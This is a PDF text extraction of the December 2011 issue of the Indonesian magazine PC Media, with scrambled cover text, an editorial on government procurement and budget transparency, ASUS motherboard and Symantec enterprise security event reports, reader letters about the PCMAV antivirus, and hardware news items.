PCMAV EXPRESS FOR QVOD - PDF Free Download (2025)

INDONESIA’S BIGGEST-SELLING COMPUTER MAGAZINE

HARGA Rp45.000 (EMPAT PULUH LIMA RIBU)

SUPER DVD 8 GB Sebuah keping DVD double-layer yang berisi ratusan software gratis ada di sampul majalah ini.

12/2011

Cover story

RENOVASI RUMAH SECARA DIGITAL Mari memodifikasi sistem & merenovasi rumah FREE secara mudah dengan ON TH E program komputer DVD

D O V Q R O F S S E R P X E HTML & V C E X E E IL CMA F I

P INFEKS G N E P D O V Q BASMI VIRUS WINDOWS 7 THEMES Android Themes • Christmas Red Theme • Christmas Themes Light Edition • Mac OS X Lion Themes

GRATIS! SOFTWARE PEMBUAT RUMAH DE NGAN TAM PI LAN 3D HOUSEHOLD REGISTER 2011 ALNO AG KITCHEN PLANNER KOLO BATHROOM WIZARD HOME THEATER TOOLBOX SWEET HOME 3D

group test

ASUS TRANSFORMER TF101G 12 BEST 2011 PRODUCT

Cover 12_REG.indd 2

KEUNIKAN DUNIA TABLET ANDROID DAN NOTEBOOK DALAM SATU KEANGGUNAN 25/11/2011 14:09:54

HP-convid_08.indd 1

7/15/2011 1:53:32 PM

WPG_12.indd 1

25/11/2011 17:51:57

ECS_12.indd 1

23/11/2011 11:52:06

PROLOGUE

INVITE Anton Pardede Group Chief Editor & Chief Antivirus Researcher

Hole Untuk kedua kalinya, setelah melalui seleksi yang ketat, PC Media terpilih kembali sebagai konsultan teknis dalam pengadaan barang berupa komputer yang dilakukan oleh sebuah institusi negara yang bergerak di bidang penegakan hukum. Tentu saja kami bangga karena kompetensi teknis yang dimiliki oleh PC Media dapat bermanfaat untuk Indonesia yang lebih baik. Komputer yang terpilih murni merupakan hasil pengujian yang ketat, sesuai kriteria dan nilai yang sudah ditetapkan. Namun, kembali menjadi catatan PC Media, Perpres 35/2011 mengenai pengadaan barang dan jasa masih perlu disempurnakan. Celah antarvendor penyedia komputer untuk bersepakat sebelumnya, sekalipun tidak langsung, dalam mengatur secara teknis siapa yang menang, sangat mungkin terjadi. Clear Di lain kisah, baru-baru ini PC Media diundang oleh direktorat sebuah kementerian teknis untuk berbicara dalam seminar di Bali mengenai antisipasi virus komputer. Pengurusan administrasi, akomodasi, dan biaya telah clear, termasuk pajak yang dibayarkan dan semua tertulis jelas. Tadinya kami sempat ragu untuk menerima ajakan tersebut mengingat pengalaman jika berurusan dengan kalangan pemerintahan, soal beginian sering dibuat tidak terang-benderang. Kini terlihat ada secercah harapan bahwa pemerintah mulai transparan dalam penggunaan anggaran untuk kegiatan semacam ini. Funny Namun, apa yang terjadi? Dua hari kemudian, PC Media kembali dihubungi oleh direktorat yang sama, tetapi beda orang, untuk diminta mengisi seminar selama tiga hari di Jakarta. Dan lucunya, mereka kini enggan memberikan info yang terang-benderang, termasuk biaya dan pajak yang akan dibayarkan. Walau katanya sudah dianggarkan, baru bisa diberikan angka dan surat tertulis pada hari terakhir. What?! Silakan menerka skenario yang sedang dilakoni dalam penyerapan anggaran ini. Mengubah kultur dan mental koruptif di negara ini sangat berat. Kadang sistem lebih efektif menutup peluang orang untuk korupsi dibandingkan “khotbah” dan ratusan peraturan. Jika tidak mau transparan, jangan undang PC Media!

[emailprotected]

DAPATKAN SERI MAJALAH EXTRA & SPECIAL PC MEDIA GROUP TERBARU!

PC MEDIA EXTRA: VIRUS KOMPUTER

PC MEDIA EXTRA: DIGITAL IMAGING

PHOTOSHOP FOR PHOTOGRAPER

INFO LINUX EXTRA: HOME SERVER

Komparasi Berbagai Pemusnah Malware: Mana yang Terbaik?

Menguasai Fitur-Fitur Baru Photoshop Plus Tutorial Seru

Kumpulan Trik dan Tutorial Unik untuk Fotografer

Menjadikan Ubuntu Desktop sebagai Basis Server Rumahan

12/2011

prologue_12 edit nur.indd 5

5

11/25/2011 2:12:39 PM

INDEX

5

8 12 16 18 20 22 23 24 25 26

PROLOGUE

90

FIRST

94

ASUS Special Report Symantec Special Report Inbox New Hardware Gadget & Multimedia PC Market Express PC Society Viewpoint Zatni Arbi Maykada Harjono Bernaridho I. Hutabarat

98 102 112 118 132

Mengenal Malware Lebih Dekat Mempersenjatai Browser dari Ancaman di Internet Mengenal Analisis Algoritma Menyimpan data di Android Protocol: Programming Concepts & Modular Programming Android GUI: ListView Oracle Express Edition

80 Jangan Tertipu oleh Mitos Kinerja PC

GAME TEST & WALKTHROUGH

134 Driver San Francisco 136 PES 2012 138 Dead Island

COVER STORY

68

Home Digital

STEP BY STEP

144 Tip dan Trik Unik Windows VIRUS

74

Qvod

ON THE DISC

KNOW-HOW

76 80 82 86

Wi-Fi (Wireless Fidelity) Jangan Tertipu oleh Mitos Kinerja PC Pemanfaatan Windows Azure untuk Pemegang putusan TI Membuat Game Snake dengan HTML 5

149 Fresh Software Full Version 155 Hottest Games Full Version 157 New Movie Trailers SUPER PROMO

158 Super Promo 160 Pemenang Super Promo 162 EPILOGUE

INDEX HARDWARE TEST Group Test Tablet Dual-core 29 Acer Iconia A101 30 ASUS Transformer TF101g 31 Huawei Mediapad 32 LG Optimus Pad v900 33 Motorola Xoom MZ601 34 Samsung Galaxy Tab 8.9

Single Test VGA 36 Digital Alliance HD 6990 37 Sapphire Vapor-X HD 6770 38 Zotac Geforce GT 440 Processor 40 AMD FX-8150 Black Edition Motherboard 41 ASUS Sabertooth P67 42 Gigabyte Z68X-UD7-B3 SSD 44 Kingston HyperX SSD 120GB Notebook 45 ASUS U41SV

6

6_index_12_fadly edit nur.indd 6

68 Home Digital

Desktop PC 48 Lenovo IdeaCentre B320 Keyboard 50 i-rocks RF-6496 52 Tt eSPORTS MEKA G Unit Gateway 53 Venus VR 433 N Wireless Router 54 Cisco Linksys E1000 Power Adaptor 54 Huntkey Notebook Adaptor PSU 56 Enermax NAXN 550W Stereo Headphone 57 Sennheiser PC 360 G4ME Portable Speaker 58 Edifier MF240 Speaker 2.1 60 NIVS NCT-N1U PC Case 61 VenomRX ATRA GTO 62 CoolerMaster Elite 431 Plus UPS 63 APC Smart UPS SUA 3000 XLI

136 PES 2012 HIGHLIGHT OF THE MONTH DVD-5/DVD-9 PCMAV 6.2 Asgard Hot Free Games: Action Ball 2, Bomber Mario, Brickshooter Egypt, Deadly Race, Hollywood, The Director’s Cut, Julia’s Quest United Kingdom, Milky Bear Fish Patrol, Motoracing, Need For Extreme 3D Game Demo: Pro Evolution Soccer 2012, Valley Without Wind Windows 7 Themes: Android Themes, Christmas Red Theme, Christmas Themes Light Edition, Holiday Lights, Mac OS X Lion Themes, Twinkle Wish Fresh Softwares: BlueStacks (Alpha), iPadian, iPhotoDraw 1.0 Build 4305, Mind On Track 1.1.0.104, Rainmeter 2.1.0. Rev 959, Simple Relationship Calculator, Stop P-O-R-N 6.5

12/2011

11/23/2011 4:51:48 PM

asus_12.indd 1

25/11/2011 11:24:50

FIRST Asus Special Report

ASUS MOTHERBOARD TECHNICAL MEDIA SEMINAR 2011 Sejatinya, acara “ASUS Motherboard Technical Seminar 2011” adalah tentang penyibakan tabir generasi baru dalam sejarah roadmap processor Intel. Namun, sebagai vendor yang kaya akan pengalaman dalam pasar TI, ASUS berhasil menggeser fokus hadirin untuk melupakan sejenak tentang Intel dengan inovasi-inovasinya.

Rifan Fernando, Wartawan PC Media Group

8

special report_12_Edit rifan 2 edit nur.indd 8

Produk motherboard premium ASUS, terutama di Indonesia, memang masih sangat “segmented”. Peminatnya bisa dibilang berasal dari golongan minoritas yang benarbenar mengerti cara memaksimalkan performa komputer. Namun begitu, hal itu tak pernah menyurutkan ASUS untuk terus dan terus berinovasi mengembangkan “bekal” penting sebagai nilai jual khas produk ASUS. Ya, ekstrafitur dalam motherboard, apalagi yang mampu mempercepat kinerja sistem, adalah nilai yang sangat menjual. Hal itu terlihat pada seminar yang diadakan ASUS tersebut. Para petinggi ASUS Taiwan terlihat sangat antusias memperkenalkan jajaran fitur baru dalam setiap motherboard berplatform Intel X79 terbaru. Semua seri yang diperbarui merupakan pengembangan dari seri-seri sebelumnya, yakni P Series, TUF Series, dan ROG Series. Jika dikategorikan, tiap-tiap seri mewakili segmen user yang sangat berbeda terkait dengan harga yang ditawarkan. P Series mewakili segmen value, TUF untuk mainstream, sedangkan ROG didedikasikan untuk user pada segmen premium deluxe. OC Key dan VGA Overvolting pada ROG Series paling menyedot perhatian saat seminar berlangsung. Perhatian ASUS untuk para OC lovers benar-benar patut diacungi jempol.

12/2011

11/21/2011 1:50:20 PM

microsoft_12.indd 1

23/11/2011 12:23:47

FIRST Asus Special Report

1. P9 Series Dual Intelligent Processors 3 Pada generasi ke-3, EPU (Energy Processing Unit), TPU (TurboV Processing Unit), dan DIGI+ VRM dikembangkan agar lebih akurat dan fleksibel dalam pengaturan O.C. Dalam versi ke-3 ini tak hanya CPU yang bisa Anda maksimalkan. Tambahan kontrol VCCSA (System Agent) memungkinkan user untuk mengeksplorasi kemampuan tertinggi pada sektor DRAM. Bottleneck? Itu sudah jadi sejarah. Pada DIP3, ASUS menjamin bottleneck tak akan Anda temui lagi. ASUS SSD Caching Sesuai limitasi dari Intel, pada chipset X79, Intel SRT (Smart Response Technology) ditiadakan. Kecewa? Nanti dulu. Pasalnya, ASUS menawarkan utility yang lebih advance daripada Intel SRT, yakni ASUS SSD Caching. Berapa uang yang harus Anda keluarkan untuk membeli SSD 256 GB? Utility ini memungkinkan Anda merasakan dua manfaat yang sejatinya harus dibayar mahal, yakni kecepatan SSD dengan kapasitas seluas HDD. Tak perlu setting yang rumit ala Intel SRT. Sekali klik, HDD Anda bekerja menyerupai SSD dan extra-backup function. USB BIOS Flashback Utility ini memungkinkan Anda untuk mem-backup dan merestorasi file BIOS tanpa harus booting PC. Apa pun processor-nya, RAM atau VGA yang terpasang tak akan menghambat aktivitas restorasi BIOS. Teknik ini memanfaatkan independent chip yang bekerja lewat tombol khusus yang diletakkan di area I/O shield. Jadi, Anda tak perlu membuka casing untuk sekadar update atau restore ROM BIOS Anda. UEFI BIOS UEFI BIOS yang mengiringi semua platform ASUS X79 Series akan dilengkapi dengan menu DRAM SPD information yang dengan sekali klik memberi tahu Anda status konfigurasi DRAM Anda apakah sudah serasi atau salah satunya berstatus abnormal. Akan terdapat pula F3 shortcut yang bisa di-custom daftarnya guna memudahkan pencari-

10

special report_12_Edit rifan 2 edit nur.indd 10

an setting favorit dalam BIOS hanya dengan menekan tombol F3.

2. TUF Series Selain fitur pada Deluxe Series, tentu saja TUF dibekali fitur khusus yang menjadi ciri khasnya sejak kali pertama diperkenalkan, yakni penggunaan komponen kelas wahid dengan daya tahan berstandar militer sehingga menjamin tahan walau pada suhu ekstrem. Thermal Armor Sangat berbeda dengan Thermal Armor pada generasi TUF sebelumnya, kali ini tak terlihat pengaplikasian Tactical Vest. Entah kenapa ASUS tak lagi mengaplikasikannya. Yang jelas, TUF Series kali ini lebih difokuskan ke Thermal Armor di spot tertentu, yakni VRM dan chipset. Pada desainnya pun dimanfaatkan celah I/O shield sebagai lubang buang udara panas. ASUS membuktikan pemanfaatan Thermal Armor terbaru ini mampu menekan panas hingga 11%.

OC KEY Dengan tambahan hardware ini, user mendapatkan tampilan independen di atas tampilan orisinal (overlay) yang mampu menampilkan menu Tweak atau hardware monitoring. Untuk keperluan otak-atik dalam menu Tweak, OC KEY juga dibekali port USB. Hingga saat menjalankan game atau benchmark, user tetap bisa malakukan tweaking. Subzero Sense User juga akan mendapatkan tambahan dua termal sensor yang terintegrasi dalam Rampage IV Series hingga memungkinkan untuk memantau suhu di lokasi yang diinginkan dengan lebih tepat. VGA Overvolting Solution Ini yang paling panas—header ditempatkan sebagai pusat kontrol aktivitas overvolting VGA. Jadi, tak perlu repot melakukan hard mod dengan menempatkan variabel resistor untuk menaikturunkan tegangan VGA.

Thermal Radar dengan 12 Sensor Suhu di area USB 3.0 dan secondary slot PCI Express masuk dalam daftar pantau TUF Thermal Radar versi terbaru ini. Totalnya ada dua belas titik yang bisa Anda pantau, termasuk VCCSA, VTTCPU, dan kedua sisi Dimm Slot.

3. ROG Series Memasuki versi IV, ASUS makin serius menggarap Rampage Series yang mengisi platform ROG. X-Socket ASUS memahami keterbatasan CPU cooler buatan pihak ketiga untuk jenis socket processor baru pada awal waktu penetrasi. Dengan X-Socket, CPU cooler yang sejatinya didesain untuk LGA 1366 bisa diaplikasikan pada socket Intel LGA terbaru yang segera dirilis. Extreme Engine Digi+ II Fitur ini mengemas empat kontrol digital untuk CPU dan memory, juga penggunaan NexFET (jenis mosfet baru dengan ukuran lebih kecil) untuk efisiensi penggunaan daya hingga jenis choke baru dengan bahan metal hitam yang tetap mampu dilewati arus maksimal 50A.

Port sensor terintegrasi.

Bukti keandalan TUF.

X Socket

ROG Rampage IV Extreme TUF series X Socket hanya untuk ROG Series.

12/2011

11/21/2011 1:50:25 PM

ECS Indojaya_12.indd 1

23/11/2011 10:15:06

FIRST Symantec Special Report

TREN TI PADA PERUSAHAAN Dalam acara “Symantec Vision” yang berlangsung di Singapura pada 18 November 2011, PC Media mendapatkan kesempatan untuk menghadiri acara tersebut dan berkesempatan melakukan wawancara eksklusif dengan Art Gilliland, Senior Vice President, Information Security Group, dan Angela T. Tucci, Senior Vice President, Chief Strategy Officer.

Fajar Anggiawan - Wartawan PC Media Group.

12

12_special report_SYMANTEC_12 edit nur.indd 12

Informasi berharga milik perusahaan merupakan informasi yang perlu mendapatkan antisipasi dan perhatian tertinggi agar terhindar dari serangan hacker. Demikian yang diungkapkan oleh Enrique Salem selaku president and chief executive officer dari Symantec. Hadir pula Anil Chakravarthy selaku senior vice president, storage and availability management group dari Symantec. Acara yang bertemakan “Surround Yourself” ini mengangkat tren mengenai cloud computing, mobilitas dan virtualisasi, serta bagaimana perusahaan dapat memperoleh kemudahan dan keuntungan bisnis melalui tren ini. PC Media mendapat kehormatan meliput acara tersebut dan kami share untuk pembaca setia PC Media pada “Special Report” kali ini. Ledakan arus informasi di perusahaan membuat manajemen penyimpanan data semakin kompleks. Hal inilah tantangan TI yang perlu dikhawatirkan, terutama antisipasi terhadap pencurian data yang semakin fokus terhadap kalangan eksekutif perusahaan. Ancaman pun dapat berupa virus komputer seperti virus Duqu, virus dengan zero day exploit dan terkoneksi dengan command-and-control (C&C) server. Melindungi, mengakses, hingga mem-backup data merupakan aspek yang mesti difokuskan oleh perusahaan atau konsumen.

12/2011

11/23/2011 10:12:34 AM

sparkle_12.indd 1

23/11/2011 16:38:58

FIRST Symantec Special Report

Cloud Computing, Mobilitas, dan Virtualisasi Cloud computing merupakan salah satu topik terhangat saat ini dan menjadi tren bagi banyak perusahaan. Saat ini, perusahan memungkinkan setiap karyawan untuk menggunakan identitasnya dalam menggunakan cloud services. Artinya, kebijakan atau policy perusahaan pun dapat diterapkan dalam cloud computing. Berapa banyak dari Anda yang bekerja secara mobile, menggunakan laptop atau komputer tablet dalam pekerjaan sehari-hari? Sudahkah Anda merasa aman dalam melakukan sharing data? Jika laptop Anda hilang, bagaimana nasib data Anda? Ternyata dalam bekerja atau berbisnis secara mobile pun Anda perlu memperhatikan perlindungan data. Karena itu, Symantec menawarkan solusi andal untuk keamanan data komputer tablet Anda berupa Symantec Data Loss Protection. Dengan adanya virtualisasi, dapat terjadi peningkatan software environment, efisiensi service, hingga pengurangan biaya lisensi software. Pengguna dapat mengakses aplikasi secara dinamis tanpa perlu menginstalnya terlebih dahulu di komputer. Hal ini tentu saja dapat meningkatkan kegesitan dalam berbisnis melalui software yang dapat diakses di mana saja dan pengguna tidak perlu terepotkan dengan notifikasi atau proses update software tersebut.

Persiapan Menggunakan Cloud Computing dengan Baik 1. Gunakan service cloud computing yang benar-benar andal dan terpercaya. Ada beberapa aspek penting dalam memilih cloud computing services, antara lain adalah keamanan, ketersediaan, dan biaya. Pastikan vendor penyedia cloud computing memiliki solusi cepat untuk permasalahan operasional seperti kemampuan dalam hal ketersediaan dan pemulihan bencana. 2. Siapkan tenaga TI agar siap untuk pindah ke cloud computing. Meskipun banyak pertimbangan

14

12_special report_SYMANTEC_12 edit nur.indd 14

untuk menuju cloud computing oleh banyak perusahaan, mereka mengaku tidak sanggup mengadopsi cloud computing. Lebih dari 52% responden mengatakan staf TI mereka tidak siap untuk menggunakan cloud computing. 3. Buat prioritas data untuk cloud computing. Tidak semua informasi dan aplikasi diciptakan sama. Dengan melakukan analisis dan menempatkan informasi dan aplikasi Anda berdasarkan prioritas atau tingkatan, Anda akan merasa nyaman meskipun sudah berpindah ke cloud computing. 4. Ukur risiko dan tetapkan kebijakan yang layak. Pastikan informasi penting Anda hanya dapat diakses oleh pengguna yang memang memiliki hak akses untuk mengakses informasi tersebut. 5. Mulailah sekarang juga. Jadilah yang berada di lini depan dalam cloud computing. Memanfaatkan layanan cloud computing merupakan langkah awal yang mudah untuk berpindah total ke perusahaan berbasiskan cloud computing. Meskipun perlu waktu untuk memindahkan aplikasi-aplikasi penting, Anda dapat memulainya dengan segera melalui aplikasi dan layanan yang lebih sederhana.

Perlindungan Data dengan Backup Angela T. Tucci, saat ditemui, panjanglebar membahas perlindungan data,

Tentang Angela T. Tucci Angela T. Tucci bertanggung jawab atas perkembangan dan strategi di perusahaan, meliputi merger serta akuisisi yang dilakukan oleh SyAngela T. Tucci mantec, investasi Senior Vice President, perusahaan, cer. Chief Strategy Offi hingga pengaturan dalam hubungan kerja sama.

baik di komputer maupun perangkat mobile. Dengan semakin berkembangnya teknologi, setiap orang bisa bekerja, belanja, hingga menonton film di mana saja. Di sisi lain, perkembangan kejahatan cyber juga berkembang pesat. Pada sistem operasi Android saja, sejak Juli 2011, perkembangan malware Android naik mencapai 472%. Namun, perlindungan tidak hanya terhadap virus, tetapi juga terhadap data itu sendiri, yaitu dengan melakukan backup. Saat ditanya mengenai keamanan data yang dilindungi oleh Symantec, Tucci mengatakakan bahwa Symantec menggunakan teknologi canggih untuk menjaga data agar selalu aman.

Tren Malware pada Mobile Pertanyaan yang dilontarkan oleh PC Media kepada Art Gilliland adalah tentang pesatnya perkembangan malware pada Android, tetapi hasil uji coba komparasi antivirus oleh AVTEST malah menunjukkan rendahnya pendeteksian produk-produk antivirus pada Android. Masih di Marina Bay Sand, Singapura, Gilliland menjelaskan bahwa hal penting untuk mendeteksi virus di Android adalah berdasarkan sistem reputasi, yaitu pengguna yang melaporkan jika menemukan aplikasi yang mencurigakan. Pasalnya, Android bersifat open source sehingga perkembangan malware di Android sangat berkembang pesat. Symantec sendiri sudah menggunakan fitur pendeteksian berdasarkan reputasi.

Tentang Art Gilliland Art Gilliland memegang peranan sebagai pemimpin dalam pengembangan strategi produk dan teknologi operasional, seperti Symantec’s Data Art Gilliland Information Security Group. Loss Prevention, Encryption, Trust Service, dan User Authentication.

12/2011

11/23/2011 10:12:40 AM

creative i-rocks_12.indd 1

08/11/2011 17:21:48

FIRST Inbox

PC Media 11/2011 Memuaskan Puas banget baca PC Media edisi 11/2011. Dari halaman depan sampai belakang, tulisannya menarik, informatif, dan berbobot, apalagi ditambah bootable installer Windows 8. Semoga ke depannya jauh lebih baik lagi. Eko_civil@e-mail

Isi DVD Edisi Reguler dan PCMAV Saya pembaca setia PC Media, pengguna PCMAV hingga versi Asgard 6.0, dan member di forum.virusindonesia.com. 1. Pada PC Media 05/2010 edisi ekonomis dikatakan bahwa CD diganti dengan DVD. DVD5 (kapasitas 4 GB) untuk edisi ekonomis dan DVD9 (kapasitas 8 GB) untuk edisi reguler. Karena ingin isi yang lebih lengkap, saya memilih edisi reguler. Namun, di PC saya, DVD9 terbaca hanya sekitar 6,29 GB dan free space-nya 0,00 GB. Sisanya itu di mana atau memang kapasitasnya hanya 6,30 GB? 2. Saya sempat menguji PCMAV Asgard Beta di blog saya, http://virustechnologies.blogspot.com/, dan menemukan beberapa hal yang cukup aneh. Salah satunya adalah virus signature, yang berkurang dari versi 5.5 Valhalla, memiliki bug yang sama pada PCMAV 5.4 dan 5.5. Ketika diaktifkan, semua aplikasi tidak bisa berjalan, seperti diblokir. 3. Saya memiliki laptop dengan OS Windows 7 64-bit. Apakah pada versi PCMAV Asgard kali ini RTP bisa berjalan pada versi 64-bit? Itu saja dari saya. Bravo PC Media dan PCMAV. Virtech Indonesia@e-mail

1. Ada batas aman untuk pencetakan DVD. Jika diisi hampir memenuhi kapasitasnya, kemungkinan besar DVD akan bermasalah. Jadi, kami mengambil jalan aman agar tetap menghasilkan DVD yang berkualitas baik. 2. Memang kami tidak menyertakan virus signature terbaru pada PCMAV

16

inbox_12_hermanedit edit nur.indd 16

Asgard Beta. Namun, untuk versi final hingga PCMAV 6.2, tentu saja Anda akan mendapatkan virus signature terbaru dari kami. Mengenai bug yang Anda temukan pada PCMAV Asgard Beta, kami telah memperbaikinya, termasuk pada versi terbaru PCMAV, yaitu PCMAV 6.2. 3. RTP PCMAV dapat berjalan dengan baik di sistem operasi berbasiskan 32bit. Untuk sistem operasi berbasiskan 64-bit, RTP belum dapat aktif dan hal ini masih dalam tahap pengembangan oleh tim PCMAV.

Kesalahan dan Pengulangan pada PC Media 11/2011 Saya adalah pembaca setia PC Media & PC Mild. To the point, pertama saya merasa geli saat membaca halaman “Inbox” yang ditulis oleh Sdr. Suranto. Sama persis dengan yang beliau katakan, PC Media keteteran karena dikejar deadline sehingga kurang teliti. Lihat saja jawaban PC Media yang memuat nama penulis. Bukankah tidak ada penulis yang bernama “Agus Sarjono”? Seingat saya, penulis yang bernama depan “Agus” mempunyai nama belakang “Kurniawan” dan penulis dengan nama belakang “Sarjono” mempunyai nama depan “Gunung”. Kedua, freeware (Balabolka, SlimComputer), game (Shark Attack), dan movie trailers (Real Steel) yang disertakan sudah pernah diberikan pada PC Media edisi terdahulu. Saran saya, alangkah baiknya bila PC Media membuat semacam list freeware, game, dan movie trailers yang pernah disertakan dalam DVD agar tidak terjadi pengulangan dalam pemberian materi. Coba bayangkan bila materi yang telah disertakan

tersebut diganti dengan materi yang benar-benar baru, tentunya akan sangat bermanfaat bagi pembaca. Ketiga, menurut saya, rubrik “Hardware Test” PC Media tidak eksklusif karena dibahas pula di PC Mild dengan gaya bahasa yang sama persis. Terakhir, bonus DVD installer Windows 8 dan bahasannya cukup mengobati kekecewaan saya meski bahasannya sudah saya dapatkan di PC Mild. Sekian, semoga PC Media tetap menjadi Indonesia’s best selling computer magazine. Ahmad Firmansyah@e-mail

Ya, memang ada kesalahan penulisan nama kontributor. Yang benar adalah Gunung Sarjono. Freeware yang dimaksud, betul sekali, ada pada edisi awal-awal 2011, tetapi dengan versi yang berbeda. Kami mencoba melakukan update versi karena menurut penilaian kami, freeware tersebut layak untuk disertakan kembali. Jika ini ternyata tidak layak, kami akan membenahi prosedurnya. Pada “New Movie Trailers” terdapat penulisan ulang artikel dengan file trailer berbeda. Untuk itu kami mohon maaf atas ketidaknyamanannya. Kami pasti akan menindaklanjuti kejadian ini agar tidak terulang. Terima kasih atas masukan Anda.

RALAT Di PC Media 11/2011 rubrik “Hardware Test” hlm. 32 terdapat kesalahan nama produk. Nama produk yang benar adalah “ECS A75FA”, bukan “ECS A55F-A”. Atas ketidaknyamanan tersebut, kami mohon maaf.

BERIKAN KOMENTAR ANDA! Kami dengan senang hati menerima pendapat serta saran Anda. Kirimkan surat/e-mail Anda ke: SURAT : Redaksi PC Media, Jl. Kramat IV/11 Jakarta Pusat-10430 DKI Jakarta. E-MAIL : [emailprotected] Semua surat/e-mail yang masuk menjadi milik PC Media dan redaksi berhak menyuntingnya tanpa mengubah maksud serta tujuan. Kami tidak membalas surat/e-mail Anda secara individu.

12/2011

11/25/2011 2:18:42 PM

megapro_bliblidotcom_12.indd 1

24/11/2011 12:15:31

FIRST New Hardware

AMD Opteron 16 Core Resmi Tersedia Akhirnya Dikapalkan setelah Penantian Panjang

Setelah sekian lama tertunda, Advance Micro Device pada Senin (14/11) mengumumkan ketersediaan processor server Opteron 16 core yang merupakan processor dengan jumlah core terbanyak dalam sejarah chip X86 saat ini. Opteron 6200 ini diberi kode nama “Interlagos”, diklaim 25% hingga 30% lebih cepat daripada suksesor mereka sebelumnya, Opteron 6100. Kelima keluarga 6200 tersebut adalah 6262

HE, 6272, 6274, 6276, dan 6282 SE dengan clock speed antara 1,6 GHz hingga 2,6 GHz dan dibanderol mulai $523 hingga $1,019. Chip-chip tersebut mengonsumsi daya mulai 85 w hingga 140 w dan kompatibel dengan socket server yang ada saat ini. Paduan arsitektur Bulldozer plus integer unit dan shared floating point memungkinkan setiap operasi dieksekusi di tiap putaran clock saat berjalan pada power yang rendah. Pengembangan lainnya adalah Turbo Core Technology yang dapat meningkatkan clock speed tiap core hingga 500 MHz atau 1 GHz untuk core tertentu, bergantung pada performa yang dibutuhkan (on demand). Keluarga Opteron 6200 dapat diaplikasikan ke berbagai kebutuhan dengan sangat banyak thread, seperti database, cloud computing, dan high performance computing.

Custom PC Pertama dengan Intel X79 Maingear, vendor penghasil custom PC, meng-upgrade jajaran desktop PC mereka dengan chipset terbaru Intel X79 plus Processor Core i7 2nd Generation terbaru, 3960X Extreme Edition dengan Turbo Boost 2.0. Adapun Maingear Shift dan F131, selain yang pertama dibekali processor ekstrem terbaru Intel, otomatis keduanya juga menjadi yang pertama dibekali arsitektur quad channel memory. Intel sendiri meyakini peningkatan kinerja memory sekitar 102% daripada arsitektur sebelumnya. Pengalaman audio dihadirkan EPIC Audio Engine buatan APHEX untuk gamer profesional maupun pecinta musik dan video. Maingear memberikan garansi lifetime service dan support untuk produknya.

FXI Cotton Candy, PC Apple Tunda Llano di MacBook Air Mungil Semanis Permen Pihak Apple mengumumkan menunda tak lain karena Pernahkah Anda membayangkan PC mungil sebesar flashdisk? Cotton Candy adalah USB stick prototipe yang dilengkapi dengan processor ARM Cortex-A9 (1.2 GHz), GPU ARM Mali-400 MP (quad-core), Wi-Fi dan bluetooth, micro SD slot, dan sistem operasi Android. Ia mampu men-decode banyak format video dan menampilkan grafis sekelas HD via HDMI. Dengan sebuah LCD dan bluetooth keyboard, Anda segera mendapatkan kemampuan PC, membuka dan mengedit file-file Office, bahkan browsing internet. Atau anda ingin mengubah PC, notebook, bahkan MAC Anda menjadi smartphone Android? Tinggal tancapkan gadget ini via USB port dan Anda bisa mulai bermain Angry Bird.

18

pcm_news_12_hardware_edit rifan edit nur.indd 18

pemakaian AMD Llano pada jajaran MacBook Air yang baru. Hal ini sehubungan dengan keraguan pihak Apple akan kemampuan AMD dalam memenuhi target produksi. Langkah Apple mengganti otak pada MAC Book Air dari Intel ke AMD

ulah Intel yang memprakarsai Ultrabook, yakni platform baru notebook yang ketipisannya mengancam dominasi MAC Book Air.

VIA VE-900 Mini-ITX Dalam rangka memperingati kelahiran motherboard Mini-ITX enam tahun yang lalu, VIA memperkenalkan motherboard kelas HTPC terbaru mereka, yakni VIA VE-900 Mini-ITX. Ia dibekali 1,4 GHz Nano X2, sebuah CPU dual core 40 nm buatan VIA yang telah mendukung secara native instruksi 64-bit. Pihak VIA mengklaim bahwa motherboard ini sangat cocok bagi pecinta media center PC ataupun desktop custom PC. Processor ini telah dioptimalisasi untuk menjalankan format video terkini, seperti HD video beresolusi hingga 1080p lewat

video engine terbaru, VIA ChromotionHD 2.0. VIA VE-900 Mini-ITX dibekali dua slot DDR3 yang dapat dimaksimalkan hingga kapasitas 8 GB. Ia juga mendukung high fidelity surround sound melalui chipset audio buatannya, VIA VT1708S HD audio codec. Chip audio ini mampu menghantarkan suara stereo 24-bit hingga sampling frekuensi 192 kHz serta dukungan HDMI. Sayangnya, belum ada informasi harga yang pasti untuk produk ini. 12/2011

11/22/2011 3:17:37 PM

astrindo_12.indd 1

14/11/2011 11:52:40

FIRST Gadget & Multimedia

Rocksmith

Tiga Seri Notebook Premium dari HP Kinerja Tinggi dan Dilengkapi Sistem Audio Mutakhir

Dalam game Guitar Hero atau Rock Band, Anda akan bermain sebagai seorang gitaris dengan iringan lagu-lagu populer. Untuk memainkan game ini, dibutuhkan controller berbentuk gitar, tetapi bukan gitar sungguhan. Nah, apa yang disajikan oleh Rocksmith hampir sama dengan Guitar Hero, tetapi bisa menggunakan gitar sungguhan. Dalam game buatan Ubisoft ini, pemainnya bisa menggunakan gitar listrik apa pun. Gitar dihubungkan ke console dengan menggunakan sebuah kabel khusus bernama Rocksmith Real Tone Cable dengan interface USB di satu ujungnya dan jack gitar di ujung satunya. Game ini tersedia untuk platform PS3, Xbox 360, dan Windows. Bagi Anda yang tidak memiliki gitar listrik, Rocksmith menyediakan bundel paket yang berisi game, Rocksmith Real Tone Cable, gitar Epiphone Les Paul Jr, strap, dan dua pick. Info: rocksmith.ubi.com

HP kembali menghadirkan rangkaian seri notebook premium dan kelas atas terbarunya, HP ENVY14 Beats Edition dan HP Pavilion dv6 yang telah dilengkapi dengan teknologi tata suara Beats Audio. Selain kedua seri tersebut, HP juga meluncurkan seri notebook bisnis HP ProBook 5330m Beats Audio. Beats Audio adalah teknologi yang dikembangkan khusus oleh HP dan Beats by Dr. Dre. Dengan begitu, pengguna bisa mendengarkan musik seperti yang diinginkan oleh si artis penciptanya. HP ENVY14 Beats Edition dihadirkan dengan spesifikasi layar HD HP BrightView Infinity LED 14,5 inci, Intel Quad Core, ATI Mobility Radeon HD 5650, dan diklaim bisa dipakai hingga 6,5 jam dengan menggunakan baterai standar 8 cells. HP Pavilion dv6 dihadirkan dalam dua seri, yaitu HP Pavilion dv6-6168tx dan HP Pavilion dv6-6167tx. HP Pavilion dv6-6168tx dihadirkan dengan spesifikasi Intel Core i7-2670QM, Windows 7 Home Premium, 8 GB

